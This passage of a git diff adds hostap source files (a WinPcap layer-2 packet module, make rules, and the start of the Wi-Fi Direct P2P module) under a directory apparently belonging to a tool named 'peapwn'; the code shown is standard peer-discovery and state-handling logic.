- kill it\n"); + TerminateThread(l2->rx_thread, 0); + } + CloseHandle(l2->rx_thread_done); + CloseHandle(l2->rx_thread); + if (l2->pcap) + pcap_close(l2->pcap); + eloop_unregister_event(l2->rx_avail, sizeof(l2->rx_avail)); + CloseHandle(l2->rx_avail); + CloseHandle(l2->rx_done); + CloseHandle(l2->rx_notify); + os_free(l2); +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 == NULL) + return; + + l2->rx_thread_done = CreateEvent(NULL, TRUE, FALSE, NULL); + + l2->running = 0; + pcap_breakloop(l2->pcap); + + /* + * RX thread may be waiting in l2_packet_receive_cb() for l2->rx_done + * event and this event is set in l2_packet_rx_event(). However, + * l2_packet_deinit() may end up being called from l2->rx_callback(), + * so we need to return from here and complete deinitialization in + * a registered timeout to avoid having to forcefully kill the RX + * thread. + */ + eloop_register_timeout(0, 0, l2_packet_deinit_timeout, l2, NULL); +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + pcap_if_t *devs, *dev; + struct pcap_addr *addr; + struct sockaddr_in *saddr; + int found = 0; + char err[PCAP_ERRBUF_SIZE + 1]; + + if (pcap_findalldevs(&devs, err) < 0) { + wpa_printf(MSG_DEBUG, "pcap_findalldevs: %s\n", err); + return -1; + } + + for (dev = devs; dev && !found; dev = dev->next) { + if (os_strcmp(dev->name, l2->ifname) != 0) + continue; + + addr = dev->addresses; + while (addr) { + saddr = (struct sockaddr_in *) addr->addr; + if (saddr && saddr->sin_family == AF_INET) { + os_strlcpy(buf, inet_ntoa(saddr->sin_addr), + len); + found = 1; + break; + } + addr = addr->next; + } + } + + pcap_freealldevs(devs); + + return found ? 0 : -1; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ + if (l2) + SetEvent(l2->rx_notify); +} diff --git a/peapwn/mods/hostap/src/lib.rules b/peapwn/mods/hostap/src/lib.rules new file mode 100644 index 000000000..b260d25a0 --- /dev/null +++ b/peapwn/mods/hostap/src/lib.rules @@ -0,0 +1,21 @@ +ifndef CC +CC=gcc +endif + +ifndef CFLAGS +CFLAGS = -MMD -O2 -Wall -g +endif + +CFLAGS += -I.. -I../utils + + +Q=@ +E=echo +ifeq ($(V), 1) +Q= +E=true +endif + +%.o: %.c + $(Q)$(CC) -c -o $@ $(CFLAGS) $< + @$(E) " CC " $< diff --git a/peapwn/mods/hostap/src/p2p/Makefile b/peapwn/mods/hostap/src/p2p/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/p2p/p2p.c b/peapwn/mods/hostap/src/p2p/p2p.c new file mode 100644 index 000000000..e52822de5 --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p.c @@ -0,0 +1,4391 @@ +/* + * Wi-Fi Direct - P2P module + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "wps/wps_i.h" +#include "p2p_i.h" +#include "p2p.h" + + +static void p2p_state_timeout(void *eloop_ctx, void *timeout_ctx); +static void p2p_device_free(struct p2p_data *p2p, struct p2p_device *dev); +static void p2p_process_presence_req(struct p2p_data *p2p, const u8 *da, + const u8 *sa, const u8 *data, size_t len, + int rx_freq); +static void p2p_process_presence_resp(struct p2p_data *p2p, const u8 *da, + const u8 *sa, const u8 *data, + size_t len); +static void p2p_ext_listen_timeout(void *eloop_ctx, void *timeout_ctx); +static void p2p_scan_timeout(void *eloop_ctx, void *timeout_ctx); + + +/* + * p2p_scan recovery timeout + * + * Many drivers are using 30 second timeout on scan results. Allow a bit larger + * timeout for this to avoid hitting P2P timeout unnecessarily. + */ +#define P2P_SCAN_TIMEOUT 35 + +/** + * P2P_PEER_EXPIRATION_AGE - Number of seconds after which inactive peer + * entries will be removed + */ +#define P2P_PEER_EXPIRATION_AGE 300 + +#define P2P_PEER_EXPIRATION_INTERVAL (P2P_PEER_EXPIRATION_AGE / 2) + +static void p2p_expire_peers(struct p2p_data *p2p) +{ + struct p2p_device *dev, *n; + struct os_time now; + size_t i; + + os_get_time(&now); + dl_list_for_each_safe(dev, n, &p2p->devices, struct p2p_device, list) { + if (dev->last_seen.sec + P2P_PEER_EXPIRATION_AGE >= now.sec) + continue; + + if (p2p->cfg->go_connected && + p2p->cfg->go_connected(p2p->cfg->cb_ctx, + dev->info.p2p_device_addr)) { + /* + * We are connected as a client to a group in which the + * peer is the GO, so do not expire the peer entry. + */ + os_get_time(&dev->last_seen); + continue; + } + + for (i = 0; i < p2p->num_groups; i++) { + if (p2p_group_is_client_connected( + p2p->groups[i], dev->info.p2p_device_addr)) + break; + } + if (i < p2p->num_groups) { + /* + * The peer is connected as a client in a group where + * we are the GO, so do not expire the peer entry. + */ + os_get_time(&dev->last_seen); + continue; + } + + p2p_dbg(p2p, "Expiring old peer entry " MACSTR, + MAC2STR(dev->info.p2p_device_addr)); + dl_list_del(&dev->list); + p2p_device_free(p2p, dev); + } +} + + +static void p2p_expiration_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + p2p_expire_peers(p2p); + eloop_register_timeout(P2P_PEER_EXPIRATION_INTERVAL, 0, + p2p_expiration_timeout, p2p, NULL); +} + + +static const char * p2p_state_txt(int state) +{ + switch (state) { + case P2P_IDLE: + return "IDLE"; + case P2P_SEARCH: + return "SEARCH"; + case P2P_CONNECT: + return "CONNECT"; + case P2P_CONNECT_LISTEN: + return "CONNECT_LISTEN"; + case P2P_GO_NEG: + return "GO_NEG"; + case P2P_LISTEN_ONLY: + return "LISTEN_ONLY"; + case P2P_WAIT_PEER_CONNECT: + return "WAIT_PEER_CONNECT"; + case P2P_WAIT_PEER_IDLE: + return "WAIT_PEER_IDLE"; + case P2P_SD_DURING_FIND: + return "SD_DURING_FIND"; + case P2P_PROVISIONING: + return "PROVISIONING"; + case P2P_PD_DURING_FIND: + return "PD_DURING_FIND"; + case P2P_INVITE: + return "INVITE"; + case P2P_INVITE_LISTEN: + return "INVITE_LISTEN"; + case P2P_SEARCH_WHEN_READY: + return "SEARCH_WHEN_READY"; + case P2P_CONTINUE_SEARCH_WHEN_READY: + return "CONTINUE_SEARCH_WHEN_READY"; + default: + return "?"; + } +} + + +const char * p2p_get_state_txt(struct p2p_data *p2p) +{ + return p2p_state_txt(p2p->state); +} + + +u16 p2p_get_provisioning_info(struct p2p_data *p2p, const u8 *addr) +{ + struct p2p_device *dev = NULL; + + if (!addr || !p2p) + return 0; + + dev = p2p_get_device(p2p, addr); + if (dev) + return dev->wps_prov_info; + else + return 0; +} + + +void p2p_clear_provisioning_info(struct p2p_data *p2p, const u8 *addr) +{ + struct p2p_device *dev = NULL; + + if (!addr || !p2p) + return; + + dev = p2p_get_device(p2p, addr); + if (dev) + dev->wps_prov_info = 0; +} + + +void p2p_set_state(struct p2p_data *p2p, int new_state) +{ + p2p_dbg(p2p, "State %s -> %s", + p2p_state_txt(p2p->state), p2p_state_txt(new_state)); + p2p->state = new_state; +} + + +void p2p_set_timeout(struct p2p_data *p2p, unsigned int sec, unsigned int usec) +{ + p2p_dbg(p2p, "Set timeout (state=%s): %u.%06u sec", + p2p_state_txt(p2p->state), sec, usec); + eloop_cancel_timeout(p2p_state_timeout, p2p, NULL); + eloop_register_timeout(sec, usec, p2p_state_timeout, p2p, NULL); +} + + +void p2p_clear_timeout(struct p2p_data *p2p) +{ + p2p_dbg(p2p, "Clear timeout (state=%s)", p2p_state_txt(p2p->state)); + eloop_cancel_timeout(p2p_state_timeout, p2p, NULL); +} + + +void p2p_go_neg_failed(struct p2p_data *p2p, struct p2p_device *peer, + int status) +{ + struct p2p_go_neg_results res; + p2p_clear_timeout(p2p); + p2p_set_state(p2p, P2P_IDLE); + if (p2p->go_neg_peer) { + p2p->go_neg_peer->flags &= ~P2P_DEV_PEER_WAITING_RESPONSE; + p2p->go_neg_peer->wps_method = WPS_NOT_READY; + } + p2p->go_neg_peer = NULL; + + os_memset(&res, 0, sizeof(res)); + res.status = status; + if (peer) { + os_memcpy(res.peer_device_addr, peer->info.p2p_device_addr, + ETH_ALEN); + os_memcpy(res.peer_interface_addr, peer->intended_addr, + ETH_ALEN); + } + p2p->cfg->go_neg_completed(p2p->cfg->cb_ctx, &res); +} + + +static void p2p_listen_in_find(struct p2p_data *p2p, int dev_disc) +{ + unsigned int r, tu; + int freq; + struct wpabuf *ies; + + p2p_dbg(p2p, "Starting short listen state (state=%s)", + p2p_state_txt(p2p->state)); + + freq = p2p_channel_to_freq(p2p->cfg->reg_class, p2p->cfg->channel); + if (freq < 0) { + p2p_dbg(p2p, "Unknown regulatory class/channel"); + return; + } + + os_get_random((u8 *) &r, sizeof(r)); + tu = (r % ((p2p->max_disc_int - p2p->min_disc_int) + 1) + + p2p->min_disc_int) * 100; + if (p2p->max_disc_tu >= 0 && tu > (unsigned int) p2p->max_disc_tu) + tu = p2p->max_disc_tu; + if (!dev_disc && tu < 100) + tu = 100; /* Need to wait in non-device discovery use cases */ + if (p2p->cfg->max_listen && 1024 * tu / 1000 > p2p->cfg->max_listen) + tu = p2p->cfg->max_listen * 1000 / 1024; + + if (tu == 0) { + p2p_dbg(p2p, "Skip listen state since duration was 0 TU"); + p2p_set_timeout(p2p, 0, 0); + return; + } + + p2p->pending_listen_freq = freq; + p2p->pending_listen_sec = 0; + p2p->pending_listen_usec = 1024 * tu; + + ies = p2p_build_probe_resp_ies(p2p); + if (ies == NULL) + return; + + if (p2p->cfg->start_listen(p2p->cfg->cb_ctx, freq, 1024 * tu / 1000, + ies) < 0) { + p2p_dbg(p2p, "Failed to start listen mode"); + p2p->pending_listen_freq = 0; + } + wpabuf_free(ies); +} + + +int p2p_listen(struct p2p_data *p2p, unsigned int timeout) +{ + int freq; + struct wpabuf *ies; + + p2p_dbg(p2p, "Going to listen(only) state"); + + freq = p2p_channel_to_freq(p2p->cfg->reg_class, p2p->cfg->channel); + if (freq < 0) { + p2p_dbg(p2p, "Unknown regulatory class/channel"); + return -1; + } + + p2p->pending_listen_freq = freq; + p2p->pending_listen_sec = timeout / 1000; + p2p->pending_listen_usec = (timeout % 1000) * 1000; + + if (p2p->p2p_scan_running) { + if (p2p->start_after_scan == P2P_AFTER_SCAN_CONNECT) { + p2p_dbg(p2p, "p2p_scan running - connect is already pending - skip listen"); + return 0; + } + p2p_dbg(p2p, "p2p_scan running - delay start of listen state"); + p2p->start_after_scan = P2P_AFTER_SCAN_LISTEN; + return 0; + } + + ies = p2p_build_probe_resp_ies(p2p); + if (ies == NULL) + return -1; + + if (p2p->cfg->start_listen(p2p->cfg->cb_ctx, freq, timeout, ies) < 0) { + p2p_dbg(p2p, "Failed to start listen mode"); + p2p->pending_listen_freq = 0; + wpabuf_free(ies); + return -1; + } + wpabuf_free(ies); + + p2p_set_state(p2p, P2P_LISTEN_ONLY); + + return 0; +} + + +static void p2p_device_clear_reported(struct p2p_data *p2p) +{ + struct p2p_device *dev; + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) + dev->flags &= ~P2P_DEV_REPORTED; +} + + +/** + * p2p_get_device - Fetch a peer entry + * @p2p: P2P module context from p2p_init() + * @addr: P2P Device Address of the peer + * Returns: Pointer to the device entry or %NULL if not found + */ +struct p2p_device * p2p_get_device(struct p2p_data *p2p, const u8 *addr) +{ + struct p2p_device *dev; + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (os_memcmp(dev->info.p2p_device_addr, addr, ETH_ALEN) == 0) + return dev; + } + return NULL; +} + + +/** + * p2p_get_device_interface - Fetch a peer entry based on P2P Interface Address + * @p2p: P2P module context from p2p_init() + * @addr: P2P Interface Address of the peer + * Returns: Pointer to the device entry or %NULL if not found + */ +struct p2p_device * p2p_get_device_interface(struct p2p_data *p2p, + const u8 *addr) +{ + struct p2p_device *dev; + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (os_memcmp(dev->interface_addr, addr, ETH_ALEN) == 0) + return dev; + } + return NULL; +} + + +/** + * p2p_create_device - Create a peer entry + * @p2p: P2P module context from p2p_init() + * @addr: P2P Device Address of the peer + * Returns: Pointer to the device entry or %NULL on failure + * + * If there is already an entry for the peer, it will be returned instead of + * creating a new one. + */ +static struct p2p_device * p2p_create_device(struct p2p_data *p2p, + const u8 *addr) +{ + struct p2p_device *dev, *oldest = NULL; + size_t count = 0; + + dev = p2p_get_device(p2p, addr); + if (dev) + return dev; + + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + count++; + if (oldest == NULL || + os_time_before(&dev->last_seen, &oldest->last_seen)) + oldest = dev; + } + if (count + 1 > p2p->cfg->max_peers && oldest) { + p2p_dbg(p2p, "Remove oldest peer entry to make room for a new peer"); + dl_list_del(&oldest->list); + p2p_device_free(p2p, oldest); + } + + dev = os_zalloc(sizeof(*dev)); + if (dev == NULL) + return NULL; + dl_list_add(&p2p->devices, &dev->list); + os_memcpy(dev->info.p2p_device_addr, addr, ETH_ALEN); + + return dev; +} + + +static void p2p_copy_client_info(struct p2p_device *dev, + struct p2p_client_info *cli) +{ + os_memcpy(dev->info.device_name, cli->dev_name, cli->dev_name_len); + dev->info.device_name[cli->dev_name_len] = '\0'; + dev->info.dev_capab = cli->dev_capab; + dev->info.config_methods = cli->config_methods; + os_memcpy(dev->info.pri_dev_type, cli->pri_dev_type, 8); + dev->info.wps_sec_dev_type_list_len = 8 * cli->num_sec_dev_types; + os_memcpy(dev->info.wps_sec_dev_type_list, cli->sec_dev_types, + dev->info.wps_sec_dev_type_list_len); +} + + +static int p2p_add_group_clients(struct p2p_data *p2p, const u8 *go_dev_addr, + const u8 *go_interface_addr, int freq, + const u8 *gi, size_t gi_len) +{ + struct p2p_group_info info; + size_t c; + struct p2p_device *dev; + + if (gi == NULL) + return 0; + + if (p2p_group_info_parse(gi, gi_len, &info) < 0) + return -1; + + /* + * Clear old data for this group; if the devices are still in the + * group, the information will be restored in the loop following this. + */ + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (os_memcmp(dev->member_in_go_iface, go_interface_addr, + ETH_ALEN) == 0) { + os_memset(dev->member_in_go_iface, 0, ETH_ALEN); + os_memset(dev->member_in_go_dev, 0, ETH_ALEN); + } + } + + for (c = 0; c < info.num_clients; c++) { + struct p2p_client_info *cli = &info.client[c]; + if (os_memcmp(cli->p2p_device_addr, p2p->cfg->dev_addr, + ETH_ALEN) == 0) + continue; /* ignore our own entry */ + dev = p2p_get_device(p2p, cli->p2p_device_addr); + if (dev) { + if (dev->flags & (P2P_DEV_GROUP_CLIENT_ONLY | + P2P_DEV_PROBE_REQ_ONLY)) { + /* + * Update information since we have not + * received this directly from the client. + */ + p2p_copy_client_info(dev, cli); + } else { + /* + * Need to update P2P Client Discoverability + * flag since it is valid only in P2P Group + * Info attribute. + */ + dev->info.dev_capab &= + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + dev->info.dev_capab |= + cli->dev_capab & + P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + } + if (dev->flags & P2P_DEV_PROBE_REQ_ONLY) { + dev->flags &= ~P2P_DEV_PROBE_REQ_ONLY; + } + } else { + dev = p2p_create_device(p2p, cli->p2p_device_addr); + if (dev == NULL) + continue; + dev->flags |= P2P_DEV_GROUP_CLIENT_ONLY; + p2p_copy_client_info(dev, cli); + dev->oper_freq = freq; + p2p->cfg->dev_found(p2p->cfg->cb_ctx, + dev->info.p2p_device_addr, + &dev->info, 1); + dev->flags |= P2P_DEV_REPORTED | P2P_DEV_REPORTED_ONCE; + } + + os_memcpy(dev->interface_addr, cli->p2p_interface_addr, + ETH_ALEN); + os_get_time(&dev->last_seen); + os_memcpy(dev->member_in_go_dev, go_dev_addr, ETH_ALEN); + os_memcpy(dev->member_in_go_iface, go_interface_addr, + ETH_ALEN); + } + + return 0; +} + + +static void p2p_copy_wps_info(struct p2p_data *p2p, struct p2p_device *dev, + int probe_req, const struct p2p_message *msg) +{ + os_memcpy(dev->info.device_name, msg->device_name, + sizeof(dev->info.device_name)); + + if (msg->manufacturer && + msg->manufacturer_len < sizeof(dev->info.manufacturer)) { + os_memset(dev->info.manufacturer, 0, + sizeof(dev->info.manufacturer)); + os_memcpy(dev->info.manufacturer, msg->manufacturer, + msg->manufacturer_len); + } + + if (msg->model_name && + msg->model_name_len < sizeof(dev->info.model_name)) { + os_memset(dev->info.model_name, 0, + sizeof(dev->info.model_name)); + os_memcpy(dev->info.model_name, msg->model_name, + msg->model_name_len); + } + + if (msg->model_number && + msg->model_number_len < sizeof(dev->info.model_number)) { + os_memset(dev->info.model_number, 0, + sizeof(dev->info.model_number)); + os_memcpy(dev->info.model_number, msg->model_number, + msg->model_number_len); + } + + if (msg->serial_number && + msg->serial_number_len < sizeof(dev->info.serial_number)) { + os_memset(dev->info.serial_number, 0, + sizeof(dev->info.serial_number)); + os_memcpy(dev->info.serial_number, msg->serial_number, + msg->serial_number_len); + } + + if (msg->pri_dev_type) + os_memcpy(dev->info.pri_dev_type, msg->pri_dev_type, + sizeof(dev->info.pri_dev_type)); + else if (msg->wps_pri_dev_type) + os_memcpy(dev->info.pri_dev_type, msg->wps_pri_dev_type, + sizeof(dev->info.pri_dev_type)); + + if (msg->wps_sec_dev_type_list) { + os_memcpy(dev->info.wps_sec_dev_type_list, + msg->wps_sec_dev_type_list, + msg->wps_sec_dev_type_list_len); + dev->info.wps_sec_dev_type_list_len = + msg->wps_sec_dev_type_list_len; + } + + if (msg->capability) { + /* + * P2P Client Discoverability bit is reserved in all frames + * that use this function, so do not change its value here. + */ + dev->info.dev_capab &= P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + dev->info.dev_capab |= msg->capability[0] & + ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + dev->info.group_capab = msg->capability[1]; + } + + if (msg->ext_listen_timing) { + dev->ext_listen_period = WPA_GET_LE16(msg->ext_listen_timing); + dev->ext_listen_interval = + WPA_GET_LE16(msg->ext_listen_timing + 2); + } + + if (!probe_req) { + u16 new_config_methods; + new_config_methods = msg->config_methods ? + msg->config_methods : msg->wps_config_methods; + if (new_config_methods && + dev->info.config_methods != new_config_methods) { + p2p_dbg(p2p, "Update peer " MACSTR + " config_methods 0x%x -> 0x%x", + MAC2STR(dev->info.p2p_device_addr), + dev->info.config_methods, + new_config_methods); + dev->info.config_methods = new_config_methods; + } + } +} + + +/** + * p2p_add_device - Add peer entries based on scan results or P2P frames + * @p2p: P2P module context from p2p_init() + * @addr: Source address of Beacon or Probe Response frame (may be either + * P2P Device Address or P2P Interface Address) + * @level: Signal level (signal strength of the received frame from the peer) + * @freq: Frequency on which the Beacon or Probe Response frame was received + * @rx_time: Time when the result was received + * @ies: IEs from the Beacon or Probe Response frame + * @ies_len: Length of ies buffer in octets + * @scan_res: Whether this was based on scan results + * Returns: 0 on success, -1 on failure + * + * If the scan result is for a GO, the clients in the group will also be added + * to the peer table. This function can also be used with some other frames + * like Provision Discovery Request that contains P2P Capability and P2P Device + * Info attributes. + */ +int p2p_add_device(struct p2p_data *p2p, const u8 *addr, int freq, + struct os_time *rx_time, int level, const u8 *ies, + size_t ies_len, int scan_res) +{ + struct p2p_device *dev; + struct p2p_message msg; + const u8 *p2p_dev_addr; + int i; + struct os_time time_now; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_ies(ies, ies_len, &msg)) { + p2p_dbg(p2p, "Failed to parse P2P IE for a device entry"); + p2p_parse_free(&msg); + return -1; + } + + if (msg.p2p_device_addr) + p2p_dev_addr = msg.p2p_device_addr; + else if (msg.device_id) + p2p_dev_addr = msg.device_id; + else { + p2p_dbg(p2p, "Ignore scan data without P2P Device Info or P2P Device Id"); + p2p_parse_free(&msg); + return -1; + } + + if (!is_zero_ether_addr(p2p->peer_filter) && + os_memcmp(p2p_dev_addr, p2p->peer_filter, ETH_ALEN) != 0) { + p2p_dbg(p2p, "Do not add peer filter for " MACSTR + " due to peer filter", MAC2STR(p2p_dev_addr)); + p2p_parse_free(&msg); + return 0; + } + + dev = p2p_create_device(p2p, p2p_dev_addr); + if (dev == NULL) { + p2p_parse_free(&msg); + return -1; + } + + if (rx_time == NULL) { + os_get_time(&time_now); + rx_time = &time_now; + } + + /* + * Update the device entry only if the new peer + * entry is newer than the one previously stored. + */ + if (dev->last_seen.sec > 0 && + os_time_before(rx_time, &dev->last_seen)) { + p2p_dbg(p2p, "Do not update peer entry based on old frame (rx_time=%u.%06u last_seen=%u.%06u)", + (unsigned int) rx_time->sec, + (unsigned int) rx_time->usec, + (unsigned int) dev->last_seen.sec, + (unsigned int) dev->last_seen.usec); + p2p_parse_free(&msg); + return -1; + } + + os_memcpy(&dev->last_seen, rx_time, sizeof(struct os_time)); + + dev->flags &= ~(P2P_DEV_PROBE_REQ_ONLY | P2P_DEV_GROUP_CLIENT_ONLY); + + if (os_memcmp(addr, p2p_dev_addr, ETH_ALEN) != 0) + os_memcpy(dev->interface_addr, addr, ETH_ALEN); + if (msg.ssid && + (msg.ssid[1] != P2P_WILDCARD_SSID_LEN || + os_memcmp(msg.ssid + 2, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN) + != 0)) { + os_memcpy(dev->oper_ssid, msg.ssid + 2, msg.ssid[1]); + dev->oper_ssid_len = msg.ssid[1]; + } + + if (freq >= 2412 && freq <= 2484 && msg.ds_params && + *msg.ds_params >= 1 && *msg.ds_params <= 14) { + int ds_freq; + if (*msg.ds_params == 14) + ds_freq = 2484; + else + ds_freq = 2407 + *msg.ds_params * 5; + if (freq != ds_freq) { + p2p_dbg(p2p, "Update Listen frequency based on DS Parameter Set IE: %d -> %d MHz", + freq, ds_freq); + freq = ds_freq; + } + } + + if (dev->listen_freq && dev->listen_freq != freq && scan_res) { + p2p_dbg(p2p, "Update Listen frequency based on scan results (" + MACSTR " %d -> %d MHz (DS param %d)", + MAC2STR(dev->info.p2p_device_addr), dev->listen_freq, + freq, msg.ds_params ? *msg.ds_params : -1); + } + if (scan_res) { + dev->listen_freq = freq; + if (msg.group_info) + dev->oper_freq = freq; + } + dev->info.level = level; + + p2p_copy_wps_info(p2p, dev, 0, &msg); + + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + wpabuf_free(dev->info.wps_vendor_ext[i]); + dev->info.wps_vendor_ext[i] = NULL; + } + + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + if (msg.wps_vendor_ext[i] == NULL) + break; + dev->info.wps_vendor_ext[i] = wpabuf_alloc_copy( + msg.wps_vendor_ext[i], msg.wps_vendor_ext_len[i]); + if (dev->info.wps_vendor_ext[i] == NULL) + break; + } + + if (msg.wfd_subelems) { + wpabuf_free(dev->info.wfd_subelems); + dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems); + } + + if (scan_res) { + p2p_add_group_clients(p2p, p2p_dev_addr, addr, freq, + msg.group_info, msg.group_info_len); + } + + p2p_parse_free(&msg); + + if (p2p_pending_sd_req(p2p, dev)) + dev->flags |= P2P_DEV_SD_SCHEDULE; + + if (dev->flags & P2P_DEV_REPORTED) + return 0; + + p2p_dbg(p2p, "Peer found with Listen frequency %d MHz (rx_time=%u.%06u)", + freq, (unsigned int) rx_time->sec, + (unsigned int) rx_time->usec); + if (dev->flags & P2P_DEV_USER_REJECTED) { + p2p_dbg(p2p, "Do not report rejected device"); + return 0; + } + + if (dev->info.config_methods == 0 && + (freq == 2412 || freq == 2437 || freq == 2462)) { + /* + * If we have only seen a Beacon frame from a GO, we do not yet + * know what WPS config methods it supports. Since some + * applications use config_methods value from P2P-DEVICE-FOUND + * events, postpone reporting this peer until we've fully + * discovered its capabilities. + * + * At least for now, do this only if the peer was detected on + * one of the social channels since that peer can be easily be + * found again and there are no limitations of having to use + * passive scan on this channels, so this can be done through + * Probe Response frame that includes the config_methods + * information. + */ + p2p_dbg(p2p, "Do not report peer " MACSTR + " with unknown config methods", MAC2STR(addr)); + return 0; + } + + p2p->cfg->dev_found(p2p->cfg->cb_ctx, addr, &dev->info, + !(dev->flags & P2P_DEV_REPORTED_ONCE)); + dev->flags |= P2P_DEV_REPORTED | P2P_DEV_REPORTED_ONCE; + + return 0; +} + + +static void p2p_device_free(struct p2p_data *p2p, struct p2p_device *dev) +{ + int i; + + if (p2p->go_neg_peer == dev) { + /* + * If GO Negotiation is in progress, report that it has failed. + */ + p2p_go_neg_failed(p2p, dev, -1); + p2p->go_neg_peer = NULL; + } + if (p2p->invite_peer == dev) + p2p->invite_peer = NULL; + if (p2p->sd_peer == dev) + p2p->sd_peer = NULL; + if (p2p->pending_client_disc_go == dev) + p2p->pending_client_disc_go = NULL; + + /* dev_lost() device, but only if it was previously dev_found() */ + if (dev->flags & P2P_DEV_REPORTED_ONCE) + p2p->cfg->dev_lost(p2p->cfg->cb_ctx, + dev->info.p2p_device_addr); + + for (i = 0; i < P2P_MAX_WPS_VENDOR_EXT; i++) { + wpabuf_free(dev->info.wps_vendor_ext[i]); + dev->info.wps_vendor_ext[i] = NULL; + } + + wpabuf_free(dev->info.wfd_subelems); + + os_free(dev); +} + + +static int p2p_get_next_prog_freq(struct p2p_data *p2p) +{ + struct p2p_channels *c; + struct p2p_reg_class *cla; + size_t cl, ch; + int found = 0; + u8 reg_class; + u8 channel; + int freq; + + c = &p2p->cfg->channels; + for (cl = 0; cl < c->reg_classes; cl++) { + cla = &c->reg_class[cl]; + if (cla->reg_class != p2p->last_prog_scan_class) + continue; + for (ch = 0; ch < cla->channels; ch++) { + if (cla->channel[ch] == p2p->last_prog_scan_chan) { + found = 1; + break; + } + } + if (found) + break; + } + + if (!found) { + /* Start from beginning */ + reg_class = c->reg_class[0].reg_class; + channel = c->reg_class[0].channel[0]; + } else { + /* Pick the next channel */ + ch++; + if (ch == cla->channels) { + cl++; + if (cl == c->reg_classes) + cl = 0; + ch = 0; + } + reg_class = c->reg_class[cl].reg_class; + channel = c->reg_class[cl].channel[ch]; + } + + freq = p2p_channel_to_freq(reg_class, channel); + p2p_dbg(p2p, "Next progressive search channel: reg_class %u channel %u -> %d MHz", + reg_class, channel, freq); + p2p->last_prog_scan_class = reg_class; + p2p->last_prog_scan_chan = channel; + + if (freq == 2412 || freq == 2437 || freq == 2462) + return 0; /* No need to add social channels */ + return freq; +} + + +static void p2p_search(struct p2p_data *p2p) +{ + int freq = 0; + enum p2p_scan_type type; + u16 pw_id = DEV_PW_DEFAULT; + int res; + + if (p2p->drv_in_listen) { + p2p_dbg(p2p, "Driver is still in Listen state - wait for it to end before continuing"); + return; + } + p2p->cfg->stop_listen(p2p->cfg->cb_ctx); + + if (p2p->find_type == P2P_FIND_PROGRESSIVE && + (freq = p2p_get_next_prog_freq(p2p)) > 0) { + type = P2P_SCAN_SOCIAL_PLUS_ONE; + p2p_dbg(p2p, "Starting search (+ freq %u)", freq); + } else { + type = P2P_SCAN_SOCIAL; + p2p_dbg(p2p, "Starting search"); + } + + res = p2p->cfg->p2p_scan(p2p->cfg->cb_ctx, type, freq, + p2p->num_req_dev_types, p2p->req_dev_types, + p2p->find_dev_id, pw_id); + if (res < 0) { + p2p_dbg(p2p, "Scan request failed"); + p2p_continue_find(p2p); + } else if (res == 1) { + p2p_dbg(p2p, "Could not start p2p_scan at this point - will try again after previous scan completes"); + p2p_set_state(p2p, P2P_CONTINUE_SEARCH_WHEN_READY); + } else { + p2p_dbg(p2p, "Running p2p_scan"); + p2p->p2p_scan_running = 1; + eloop_cancel_timeout(p2p_scan_timeout, p2p, NULL); + eloop_register_timeout(P2P_SCAN_TIMEOUT, 0, p2p_scan_timeout, + p2p, NULL); + } +} + + +static void p2p_find_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + p2p_dbg(p2p, "Find timeout -> stop"); + p2p_stop_find(p2p); +} + + +static int p2p_run_after_scan(struct p2p_data *p2p) +{ + struct p2p_device *dev; + enum p2p_after_scan op; + + if (p2p->after_scan_tx) { + p2p->after_scan_tx_in_progress = 1; + p2p_dbg(p2p, "Send pending Action frame at p2p_scan completion"); + p2p->cfg->send_action(p2p->cfg->cb_ctx, + p2p->after_scan_tx->freq, + p2p->after_scan_tx->dst, + p2p->after_scan_tx->src, + p2p->after_scan_tx->bssid, + (u8 *) (p2p->after_scan_tx + 1), + p2p->after_scan_tx->len, + p2p->after_scan_tx->wait_time); + os_free(p2p->after_scan_tx); + p2p->after_scan_tx = NULL; + return 1; + } + + op = p2p->start_after_scan; + p2p->start_after_scan = P2P_AFTER_SCAN_NOTHING; + switch (op) { + case P2P_AFTER_SCAN_NOTHING: + break; + case P2P_AFTER_SCAN_LISTEN: + p2p_dbg(p2p, "Start previously requested Listen state"); + p2p_listen(p2p, p2p->pending_listen_sec * 1000 + + p2p->pending_listen_usec / 1000); + return 1; + case P2P_AFTER_SCAN_CONNECT: + p2p_dbg(p2p, "Start previously requested connect with " MACSTR, + MAC2STR(p2p->after_scan_peer)); + dev = p2p_get_device(p2p, p2p->after_scan_peer); + if (dev == NULL) { + p2p_dbg(p2p, "Peer not known anymore"); + break; + } + p2p_connect_send(p2p, dev); + return 1; + } + + return 0; +} + + +static void p2p_scan_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + int running; + p2p_dbg(p2p, "p2p_scan timeout (running=%d)", p2p->p2p_scan_running); + running = p2p->p2p_scan_running; + /* Make sure we recover from missed scan 